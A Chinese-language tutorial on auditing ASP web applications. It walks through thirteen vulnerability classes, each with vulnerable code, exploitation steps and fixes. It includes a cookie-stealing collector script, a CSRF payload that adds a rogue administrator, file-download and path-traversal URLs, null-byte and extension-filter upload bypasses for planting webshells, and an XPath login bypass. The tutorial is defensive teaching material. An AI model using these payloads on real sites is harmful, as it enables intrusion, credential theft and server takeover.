Web源碼安全審計之ASP篇
0×01 ASP簡介:
ASP是一種服務器端腳本編寫環境,可以用來創建和運行動態網頁或Web應用程序。ASP網頁可以包含HTML標記、普通文本、腳本命令以及COM組件等。利用ASP可以向網頁中添加交互式內容(如在線表單),也可以創建使用HTML網頁作為用戶界面的web應用程序。
0×02 ASP漏洞介紹:
一.數據庫路徑泄露 (DataBase Path Leak)
概述:數據庫路徑泄露主要表現在ASP+Access搭建的WEB中,當攻擊者提交%5c的時候,IIS會解析錯誤,導致輸出了真實數據庫路徑, %5c是\的十六進制代碼,也就是\的另一種表示方法。
漏洞原理:我們在提交數據的時候,IE會自動把%5c轉換成/,從而得到同一地址。在asp類型網站中,都會用到一個數據庫連接的文件,名字一般是conn.asp。
漏洞代碼:這里我用動力文章系統做案例,代碼如下:
- <%
- dim conn
- dim connstr
- dim db
- db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數據庫文件的位置
- Set conn = Server.CreateObject("ADODB.Connection")
- connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
- conn.Open connstr
- %>
漏洞利用:當訪問http://www.aspmps.com/cn%5cconn.asp IIS就會報錯將數據庫絕對路徑輸出到客戶端,如下圖所示
當數據庫路徑被泄露,攻擊者就可以將數據庫下載到本地,找到表中的后臺管理員賬戶和密碼,這樣就可以輕松進入網站的后臺管理,此漏洞只針對于ACCESS數據庫,SQL server數據庫不受影響。 動力系統的暴庫問題已久,去年360公司為此發布一則公告,多家媒體都有轉載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。
漏洞修復:修補此漏洞的方法有2種,第一種在conn.open connstr 代碼之前加入 On Error Resume Next ,第二種方法在IIS服務器配置選項中選擇“向客戶端發送下列文本錯誤消息”。如下圖2
#p#
二.跨站腳本攻擊(Cross-Site Scripting)
概述:Cross-site scripting(XSS),是一種經常出現在Web應用中的計算機安全漏洞,它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。比如,包括HTML代碼和客戶端腳本的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站腳本縮寫為XSS。攻擊者一般會利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)或發起phishing攻擊,網頁掛馬,cookie竊取等。Xss跨站攻擊分為兩種,一種反射型攻擊,還有一種存儲型攻擊。反射型攻擊和源碼審計關系不大,在此略過,重點介紹下存儲型攻擊。
漏洞原理:存儲型攻擊就是將惡意代碼通過交互頁面植入數據庫中,當管理員訪問到調用惡意代碼的頁面時,攻擊變產生了。例如在某系統留言反饋欄目中留言內容表單未經過安全處理,客戶端可以任意提交惡意代碼,導致了XSS跨站漏洞。
漏洞代碼:
- <%
- Content = ""
- For i = 1 To Request.Form("Content").Count
- Content = Content & Request.Form("Content")(i)
- Next
- ………… //省略部分代碼
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content
- rs.Update
- %>
上述代碼中Request.Form方法獲取的content值沒有經過安全處理,造成可以XSS存儲型攻擊。
漏洞利用:
攻擊者在留言內容框中輸入上述代碼后,當后臺管理員查看了此條留言,則跨站攻擊生效,這時候將管理員的COOKIES信息發送到 xxx域名下保存起來。cookies.asp文件功能是生成個文件保存管理員的COOKIES信息,代碼如下:
- <%
- c=Request.ServerVariables("QUERY_STRING")
- testfile=Server.MapPath("cookies.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.Writeline(""&c& "")
- thisfile.close
- set fs = nothing
- %>
漏洞修復:將“< ’ ” >”標簽進行HTML編碼。#p#
三.跨站請求偽造攻擊(Cross Site Request Forgery)
概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站請求偽造的意思,通常用來指 WEB 網站的這一類漏洞,即在某個惡意站點的頁面上,促使訪問者請求你的網站的某個 URL ,從而達到改變服務器端數據的目的。
漏洞原理:結合跨站漏洞,利用JS腳本代碼,做管理員身份才能做的事,但這種動作非管理員本身的請求。
漏洞代碼:此系統中有個安全過濾函數HTMLEncode,代碼如下:
- Public Function HTMLEncode(str)
- If Not IsNull(str) Then
- str = Replace(str, Chr(38), "&")
- str = Replace(str, "<", "<")
- str = Replace(str, ">", ">")
- str = Replace(str, Chr(9), " ")
- str = Replace(str, Chr(32), " ")
- str = Replace(str, Chr(34), """)
- str = Replace(str, Chr(39), "'")
- str = Replace(str, Chr(13) & Chr(10), "
- ")
- str = Replace(str, Chr(10), "
- ")
- str = Replace(str, Chr(13), "
- ")
- HTMLEncode = str
- End If
- End Function
- //以下是漏洞關鍵點
- Content = ""
- For i = 1 To Request.Form("Content").Count
- Content = Content & Request.Form("Content")(i)
- Next
- ………… //省略部分代碼
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content
- rs.Update
上述代碼中Content變量經過Request.Form獲取后并沒有像Guest_FAX變量這樣經過HTMLEncode過濾。
漏洞利用:利用方法如圖所示
Xss.js腳本作用是執行添加一個新的管理員topsec。代碼如下:
- var request = false;
- if(window.XMLHttpRequest) {
- request = new XMLHttpRequest();
- if(request.overrideMimeType) {
- request.overrideMimeType('text/xml');
- }
- } else if(window.ActiveXObject) {
- var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- for(var i=0; i<versions.length; i++) {
- try {
- request = new ActiveXObject(versions[i]);
- } catch(e) {}
- }
- }
- xmlhttp=request;
- add_admin();
- function add_admin(){
- var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";
- var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";
- xmlhttp.open("POST", url, true);
- xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- xmlhttp.setRequestHeader("Content-length", params.length);
- xmlhttp.setRequestHeader("Connection", "close");
- xmlhttp.send(params);
- }
植入如圖所示的一段代碼后,當管理員進入后臺去查看此留言的時候就會觸發該漏洞,系統會自動給我們加上賬戶為topsec,密碼為123456的管理員。
漏洞修復:加入token認證,修復前臺跨站漏洞。#p#
四.任意文件下載(Arbitrary File Download)
概述:如果系統存在stream流模式下載模塊,而對應下載文件的地址沒有做過安全過濾處理,則會發生任何文件都可被下載的安全隱患,在windows平臺下此問題更加嚴重。
漏洞原理:Windows系統支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下載模塊未加驗證,則可以下載任意文件。
漏洞代碼:下面以沸騰展望系統經典下載漏洞源碼做介紹。關鍵源碼如下:
- <%
- Dim Stream
- Dim Contents
- Dim FileName
- Dim TrueFileName
- Dim FileExt
- Dim SavePath
- Const adTypeBinary = 1
- FileName = Request.QueryString("FileName")
- If FileName = "" Then
- Response.Write "無效文件名!"
- Response.End
- End if
- FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
- Select Case UCase(FileExt)
- Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
- Response.Write "非法操作!"
- Response.End
- End Select
- Response.Clear
- if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
- Response.ContentType = "image/*" '對圖像文件不出現下載對話框
- else
- Response.ContentType = "application/ms-download"
- end if
- Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
- Set Stream = server.CreateObject("ADODB.Stream")
- Stream.Type = adTypeBinary
- Stream.Open
- SavePath = FileUploadPath '存放上傳文件的目錄
- TrueFileName = SavePath & FileName
- Stream.LoadFromFile Server.MapPath(TrueFileName)
- While Not Stream.EOS
- Response.BinaryWrite Stream.Read(1024 * 64)
- Wend
- Stream.Close
- Set Stream = Nothing
- Response.Flush
- Response.End
- %>
上述代碼粗體部分是漏洞形成的關鍵代碼,首先程序通過 Request.QueryString(“FileName”) 方法指定任意文件名,雖然程序在下面判斷了文件后綴名,可是并沒有對后綴名進行安全處理,導致客戶端可以在后綴名之后加上空格的URL編碼從而繞過程序的驗證,文件被下載。
漏洞利用:利用方法如下圖
如圖上所示當攻擊者在瀏覽器的地址欄中輸入“down.asp?filename=./cn/index.asp%20”, %20就是經過URL編碼后的空格,%2E就是經過URL編碼后的“.”,提交后迅雷就會提示下載。
漏洞修復:修補的方法也很簡單,下載文件前最好帶入數據庫查詢,存在則下載。還有種方法,用正則表達式去限制。#p#
五.無組件上傳(File Upload)
概述:上傳漏洞在ASP程序漏洞中表現的格外搶眼,各種利用手法層出不窮,以下就分別介紹最常見的三種上傳漏洞,分別是“截斷上傳漏洞” , “變量繼承上傳漏洞” , “驗證不嚴謹上傳漏洞” 。
漏洞原理:有十六進制截斷,變量邏輯繼承,對后綴名驗證不嚴謹,還有的壓根不驗證后綴名的上傳。
漏洞代碼:1.首選介紹截斷上傳,動網論壇作為曾經風靡一時的ASP論壇,也被爆出了各種漏洞,其中以上傳漏洞最具代表性,下面就以知名程序動網來做分析。出現漏洞的文件位于Upfile.asp,核心代碼如下:
- <%
- dim upload,file,formName,formPath,iCount,filename,fileExt
- set upload=new upload_5xSoft
- formPath=upload.form("filepath") '//漏洞關鍵點
- if right(formPath,1)<>"/" then formPath=formPath&"/"
- for each formName in upload.objFile
- set file=upload.file(formName)
- fileExt=lcase(right(file.filename,4)) '//從文件名中截取后4位,并轉換為小寫字符。
- if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then
- response.write "文件格式不正確 [ 重新上傳 ]"
- response.end
- end if
- randomize
- ranNum=int(90000*rnd)+10000
- filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt '//漏洞關鍵點filename由提交的文件路徑+年月日的隨機文件名+轉換后的擴展名組成
- if file.FileSize>0 then
- file.SaveAs Server.mappath(FileName)
- response.write "上傳成功!"
- end if
- set file=nothing
- %>
上述代碼雖然對上傳的文件類型做了判斷,但是在最后保存的時候加上了formPath這個值,而這個值從客戶端提交過來的,攻擊者就可以偽造個數據包。客戶端提交代碼如下:
攻擊者將正常數據包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16進制模式修改空格變成00。因為00是終止符,上傳的時候程序檢測到00后就認為上傳已經結束。如下圖所示
修改保存后用NC提交,在CMD下輸入 nc www.aspmps.com 80<1.txt 即可上傳成功。如下圖所示
修復此漏洞的辦法其實也很簡單,只需檢查文件上傳名種是否存在chr(0),若存在用Replace函數替換即可。
2. 變量繼承上傳漏洞:當上傳多個文件的時候某些上傳程序變量邏輯混亂造成了變量繼承,在下面就用大名鼎鼎的自由動力文章系統來做分析。攻擊者可制作個HTML表單同時上傳2個文件,第一個FILE控件中選擇正常的rar文件,第二個FILE控件中選擇一個Cer文件,在這個cer文件中寫入ASP一句話木馬。再修改Form中的Action值即可提交成功。如下圖
Upfile_Soft.asp漏洞核心代碼如下:
- <%
- const UpFileType="rar|zip|exe|mpg|rm|wav|mid"
- dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
- dim EnableUpload
- dim arrUpFileType
- dim ranNum
- dim msg,FoundErr
- msg=""
- FoundErr=false
- EnableUpload=false
- for each formName in upload.file '列出所有上傳了的文件
- set ofile=upload.file(formName) '生成一個文件對象
- oFileSize=ofile.filesize
- if oFileSize<100 then="" msg="請先選擇你要上傳的文件!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then
- msg="文件大小超過了限制,最大只能上傳" & CStr(MaxFileSize) & "K的文件!"
- FoundErr=true
- end if
- fileExt=lcase(ofile.FileExt)
- arrUpFileType=split(UpFileType,"|")
- for i=0 to ubound(arrUpFileType)
- if fileEXT=trim(arrUpFileType(i)) then
- EnableUpload=true ' 第一關上傳文件符合rar后綴名,EnableUpload = true
- exit for
- end if
- next
- if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
- EnableUpload=false '第二關檢驗是否屬于三種禁傳類型,因為不屬于,變量EnableUpload仍為true。
- end if
- if EnableUpload=false then ' 第三關 如果EnableUpload=false,那么FoundErr=true,而前面傳遞來的EnableUpload=true,那FoundErr仍為進入第一個FOR循環之前的false。
- msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType
- FoundErr=true
- end if
- if FoundErr<>true then ' 第四關 如果FoundErr<>true就可以通過,看一下從第三關傳遞過來的FoundErr的值,是 false,可以上傳。
- FileName=SavePath & ofile.FileName
- If IsObjInstalled("Scripting.FileSystemObject") Then
- dim fso
- set fso=CreateObject("Scripting.FileSystemObject")
- if fso.FileExists(Server.mappath(FileName)) then
- randomize
- ranNum=int(900*rnd)+100
- filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
- end if
- set fso=nothing
- end if
- ofile.SaveToFile Server.mappath(FileName)
- %>
上述代碼加了四個關鍵關卡注釋,自cer進行上傳驗證開始,一直未出現FoundErr,FoundErr的值是什么?它還是rar上傳后的值false,而第四關的驗證就是只要 FoundErr不是true就可以上傳,所以,這個cer文件也就通過了層層關卡,進入了服務器。驚奇的是在最新的研究發現即使上面的漏洞被修復了,加上服務器操作系統式windows2003的話,攻擊者可以直接上傳1.asp;.mpg后綴名的一句話木馬文件。如下圖所示
3. 驗證不嚴謹上傳漏洞:這種后綴名驗證不嚴謹漏洞存在很多情況,動感上傳漏洞具有代表性。下面就以動感購物系統的上傳模塊做分析。這種上傳漏洞的利用需要攻擊者通過某些手段進入后臺后配置上傳文件允許的后綴名“cer|ccerer”。如下圖所示
然后通過后臺圖片上傳功能,直接上傳后綴名為ccerer的一句話木馬文件即可。產生這個漏洞的核心代碼如下:
- <%
- Private Function FixName(Byval UpFileExt)
- If IsEmpty(UpFileExt) Then Exit Function
- FixName = Lcase(UpFileExt)
- FixName = Replace(FixName,Chr(0),"")
- FixName = Replace(FixName,".","")
- FixName = Replace(FixName,"'","")
- FixName = Replace(FixName,"asp","")
- FixName = Replace(FixName,"asa","")
- FixName = Replace(FixName,"aspx","")
- FixName = Replace(FixName,"cer","") '第一關檢查,ccerer變成了cer 成功繞過
- FixName = Replace(FixName,"cdx","")
- FixName = Replace(FixName,"htr","")
- FixName = Replace(FixName,"shtml","")
- End Function
- Private Function CheckFileExt(FileExt)
- Dim Forumupload,i
- CheckFileExt=False
- If FileExt="" or IsEmpty(FileExt) Then
- CheckFileExt = False
- Exit Function
- End If
- If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then ' 第二關 cer并不在檢測范圍內,成功繞過
- CheckFileExt = False
- Exit Function
- End If
- Forumupload = Split(InceptFile,",")
- For i = 0 To ubound(Forumupload)
- If FileExt = Trim(Forumupload(i)) Then ' 第三關 cer后綴名在數據庫變量中 成功匹配
- CheckFileExt = True
- Exit Function
- Else
- CheckFileExt = False
- End If
- Next
- End Function
- %>
攻擊者提交的后綴名是ccerer,經過FixName = Replace(FixName,”cer”,”") 后 ccerer中間的cer已經被過濾掉了,但又變成了cer后綴,這樣程序就過了第一關的檢測。 如下圖所示
接下來程序繼續檢查是后綴名和指定類型名是否一致,一致的話則是非法文件,可惜程序并沒有檢查cer文件,這樣cer文件就過了第二關。接下來程序檢測文件的后綴名是否在后臺配置文件中,若匹配成功則上傳。如下圖所示
這樣攻擊者的cer文件就成功的上傳到服務器上,由于IIS擴展映射中存在將cer等同于asp 文件處理,所以造成了上傳漏洞。如下圖所示
當然還有一些其他的漏洞類型,如 “可以上傳任意文件”,“突破MIME文件頭驗證上傳”,“Javascript本地驗證上傳”等等,總的來說以上這三種上傳漏洞具有代表性。#p#
六.Cookies欺騙(Cookies Spoofing)
概述:在只對用戶做Cookies驗證的系統中,通過修改Cookies的內容來得到相應的用戶權限登錄。Cookies欺騙在入侵中經常用到,通過修改Cookies的內容來得到相應的用戶權限登錄,從而達到攻擊的目的。
漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一種能夠讓網站服務器把少量數據儲存到客戶端的硬盤或內存,或是從客戶端的硬盤讀取數據的一種技術。Cookies是當你瀏覽某網站時,由Web服務器置于你硬盤上的一個非常小的文本文件,它可以記錄你的用戶ID、密碼、瀏覽過的網頁、停留的時間等信息。
漏洞代碼:接下來還是以自由動力文章系統做案例,訪問后臺文件UploadSoft.asp必須通過授權驗證,此程序通過Cookies驗證造成了安全隱患。沒設置Cookies之前如圖所示
關鍵代碼如下:
- <%
- if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
- response.Write("請登錄后再使用本功能!")
- else
- select case upload_type
- case 0
- call upload_0() '使用化境無組件上傳類
- case else
- response.write "本系統未開放插件功能"
- response.end
- end select
- end if
- %>
代碼中IF語句判斷有問題,如果Session和Cookies值都為空則不能繼續執行,否則可以調用上傳函數upload_0()。 那攻擊者只需要做到滿足Cookies值不為空就可以調用上傳函數了,這個上傳函數在上一節已經提到過存在變量繼承上傳漏洞,這兩個漏洞一結合危害就很大了。
漏洞利用:用火狐插件修改成asp163=UserName=asp設置Cookies后如下圖所示
這樣就繞過了Cookies的驗證,造成可以上傳文件,為后來變量繼承漏洞的成功實現創造了條件。
漏洞修復:可以加密Cookies,后臺關鍵文件最好用Session去驗證。#p#
七.本地文件包含(Local File Inclusion)
概述:ASP Execute方法的作用是執行一個來自于其他ASP文件內部的ASP程序。
漏洞原理:當其他ASP文件內的程序被請求執行完畢之后,控制器將返回最初發出請求的原始ASP文件。與PHP包含漏洞不同的是Execute方法只能包含本地文件。
漏洞代碼:
<%Server.Execute(Request.QueryString("file"))%>
equest方法獲取的參數file沒經過安全處理,被Execute方法執行了。
漏洞利用:若某個應用程序不存在上傳漏洞,那么攻擊者可以上傳個正常圖片格式的文件,文件中包換ASP腳本代碼,這時候就可以用本地包含漏洞去執行圖片中的ASP代碼。如下圖所示
如果jpg里寫入的ASP小馬,那就可以輕松得到一個WebShell。
漏洞修復:盡量系統指定執行文件,不要讓客戶端提交參數,實在需要動態改變參數,可以輔助一個匹配文件,若客戶端提交的參數在文件中出現,則可以執行,否則不允許繼續執行。#p#
八.路徑操控(Path Manipulation)
概述:用戶輸入控制 file system 操作所用的路徑,借此攻擊者可以訪問或修改其他受保護的系統資源。
漏洞原理:當滿足以下兩個條件時,就會產生path manipulation 錯誤:
1. 攻擊者能夠指定某一 file system操作中所使用的路徑。
2. 攻擊者可以通過指定特定資源來獲取某種權限,而這種權限在一般情況下是不可能獲得的。
漏洞代碼:下面以經典的Ewebeditor編輯器做分析,在編輯器文件管理處存在一個路徑操控漏洞,攻擊者可以指定路徑的讀取范圍,造成安全隱患。
- <%
- Function InitParam()
- sStyleID = Trim(Request("id"))
- sUploadDir = ""
- If IsNumeric(sStyleID) = True Then
- sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID
- oRs.Open sSql, oConn, 0, 1
- If Not oRs.Eof Then
- sUploadDir = oRs(0)
- End If
- oRs.Close
- End If
- If sUploadDir = "" Then
- sStyleID = ""
- Else
- sUploadDir = Replace(sUploadDir, "\", "/")
- If Right(sUploadDir, 1) <> "/" Then
- sUploadDir = sUploadDir & "/"
- End If
- End If
- sCurrDir = sUploadDir
- ' 樣式下的目錄
- sDir = Trim(Request("dir"))
- If sDir <> "" Then
- If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
- sCurrDir = sUploadDir & sDir & "/"
- Else
- sDir = ""
- End If
- End If
- End Function
- %>
若攻擊者想利用此漏洞需要滿足2個條件,第一sStyleID這個值不能為空,并且是數據庫中存在的ID號。第二 sDir 這個變量沒有經過任何安全處理,帶入到 sCurrDir 變量中,只是最后不需要輸入“/”。
漏洞利用:admin_uploadfile.asp?id=22&dir=../.. 執行后將跳轉到2個上級目錄下,攻擊者可以刪除任意文件和文件夾。如下圖所示
漏洞修復:針對此漏洞建議用Replace函數過濾掉“..” 。#p#
九.表單提交欺騙(Spoofed Form Submit)
概述:表單提交是當前Web應用中的重要內容,用戶可以通過這種方式與服務器進行數據傳遞。在通常情況下,會在提交表單之前在服務器上進行表單數據的驗證,這樣可以節省服務器資源,但同時也為服務器帶來了安全漏洞。
漏洞原理:顧名思義Web程序只是在客戶端用JavaScript驗證了合法性,并沒有在服務端驗證數據的合法性。
漏洞代碼:下面以上傳頁面做為案例分析
漏洞利用:攻擊者只需要禁用瀏覽器中的活動腳本和Javascript腳本就可以發動一次攻擊。禁用如下圖所示:
第二種方法制作個HTML頁面,只需將JS腳本刪除,再將Action值改成需要攻擊的目標網址即可。
漏洞修復:客戶端和服務端都要做驗證,客戶端做驗證能提高用戶體驗,服務端再驗證能保證數據安全。
十.Http請求偽造(Spoofed HTTP Request)
概述:一個比欺騙表單更高級和復雜的攻擊方式是HTTP請求欺騙。這給了攻擊者完全的控制權與靈活性,它進一步證明了不能盲目信任用戶提交的任何數據。看到大多數瀏覽器會包含一個來源的URL值,你可能會試圖使用Request.ServerVariables(“HTTP_REFERER”)變量去防止欺騙。確實,這可以用于對付利用標準瀏覽器發起的攻擊,但攻擊者是不會被這個小麻煩給擋住的。通過編輯HTTP請求的原始信息,攻擊者可以完全控制HTTP頭部的值,GET和POST的數據,以及所有在HTTP請求的內容。
漏洞原理:通過Request.ServerVariables 去驗證數據來源的合法性,依舊不可靠,畢竟一切從Request獲取的值都可以被偽造出來的。
漏洞代碼:下面以ASP中經典驗證來源的代碼做分析
- <%
- Dim From_url , Serv_url
- From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
- Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
- If Mid(From_url,8,Len(Serv_url)) <> Serv_url then
- Response.Write "非法鏈接!"
- Response.End
- End if
- %>
上述代碼中2個判斷的值均來自客戶端環境變量,判斷思路是目標地址和來源地址的域名是否一致,不一致則認為是非法訪問,這段代碼常用于防盜鏈模塊中。
漏洞利用:用法HTTP代理軟件構造一個特定的數據包,在HTTP頭加上Referer 。如下圖所示
漏洞修復:驗證數據來源的真實性還是應該放在服務端,Request變量獲取的值都是不可靠的。#p#
十一.代碼注入(Code Injection)
概述:許多現代編程語言都允許動態解析源代碼指令。 如果程序員需要由用戶提供的指令對數據操作,這種情況下可以應用這種功能。當然,我們更愿意利用底層語言構造,而不是通過執行代碼來解析用戶輸入。 由用戶提供的指令預期執行一些無害的操作,例如,對當前的用戶對象進行簡單計算或修改用戶對象的狀態,等等。然而,如果程序員不夠細心,用戶指定的操作范圍可能會超出程序員最初的設想。
漏洞原理:ASP應用程序中若存在Eval ,Execute ,ExecuteGlobal 函數使用時,要格外注意它們的使用環境,若從外部獲取參數,沒有經過安全處理 就會造成安全隱患。Eval() 計算表達式的值,并且返回一個結果,Execute() 執行一個或多個指定的語句。多個語句間用冒號(:)隔開 ,ExecuteGlobal() 在全局名字空間中執行一個或多個指定的語句。
漏洞代碼:
<%=Eval(Request("parma"))%>
上述代碼用戶提交parma的方法有GET,POST,COOKIE三種,攻擊者可以精心構造出ASP的小馬提交就可以執行,安全隱患相當大,在源碼審計的過程中要額外注意它們的使用。
漏洞利用:
若攻擊者給parma參數值等于VB里的Now()函數,就會把當前的時間輸出出來,這里代碼用Eval函數執行的,若是Execute 和 ExecuteGlobal函數則不會輸出到網頁中。
漏洞修復:謹慎使用此三個函數,若需要動態執行,則只讓用戶輸入和本地文件中匹配的字符,若不匹配則不可以執行。
十二.XML中的XPATH注入(Xpath Injection)
概述:Xml文檔存儲數據時,若查詢數據不經過安全過濾也會和關系型數據庫一樣,產生注入漏洞,在這里我們總結成XPATH注入漏洞,在這里它更像是ACCESS數據庫。
漏洞原理: 如同Access數據庫一樣,XML文檔只是保存數據用的,若程序對用戶提交的數據沒有經過安全處理,則會導致安全問題,在這里最常見的莫過于經典的萬能密碼。
漏洞代碼:
- <%
- function SelectXmlNodeText(elementname,elementpass)
- On Error Resume Next
- elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"
- temp = XMLMorntekDocument.selectSingleNode(elementname).text
- If temp <> "" Then
- Session("UserName") = "asp163"
- Response.Write("Welcome , Sysadmin")
- Else
- Response.Redirect("/admin/Login.asp")
- end if
- end function
- ConnectXml("../admin.xml")
- Call SelectXmlNodeText(Request("name"),Request("pass"))
- %>
上述代碼實現的是一個后臺管理驗證的功能,admin.xml文件位于站點根目錄之外,無法用Http方式下載。程序對Request對象獲取來的數據沒有經過安全過濾,導致了經典萬能密碼繞過漏洞。
漏洞利用:
攻擊者提交Name和Pass都是“’or ’1′=’1”時候,XML查詢節點就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 發揮了重大作用,只要一個條件為真就可以滿足繞過的條件。
漏洞修復:和SQL注射一樣,需要對客戶端提交過來的數據進行過濾,在本案例中可以過濾掉單引號即可。#p#
十三.SQL注射(SQL Injection)
概述:目前沒有對SQL注入技術的標準定義,微軟中國技術中心從2個方面進行了描述:
(1) 腳本注入式的攻擊
(2) 惡意用戶輸入用來影響被執行的SQL腳本
SQL注入攻擊利用的是SQL語法,這使得這種攻擊具有廣泛性。理論上說,對于所有基于SQL語言標準的數據庫軟件包括SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等以及與之連接的網絡應用程序包括Active/Java Server Pages, PHP或Perl等都是有效的。當然各種軟件有自身的特點,實際的攻擊代碼可能不盡相同。
漏洞原理: 通過客戶端發送SQL語句,可以查詢,更新,刪除 數據庫中的數據,此漏洞是ASP下最為流行的漏洞。攻擊者可以通過GET,POST,COOKIE,SERVER提交任意數據,若數據庫是SQL Server數據庫,則漏洞危害性更大。
漏洞代碼:
- <%
- Set rs = Server.CreateObject("ADODB.RecordSet")
- sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")
- rs.Open sqlString, Conn, 1, 1
- %>
漏洞利用:
漏洞修復:對獲取的數字型變量用Clng函數轉換,對于字符型用Replace函數過濾單引號。
0×03 總結:
ASP經過這么多年還能屹立不倒,除了本身易學易用性之外,還有搭配的ACCESS數據庫方便移植的特性,讓很多程序員在選擇為中小網站做開發的時候首選ASP。掌握這些ASP漏洞對于開發者來說是相當有必要的,只有這樣才能寫出更強大安全的應用程序,才能促進整個互聯網的安全與開放。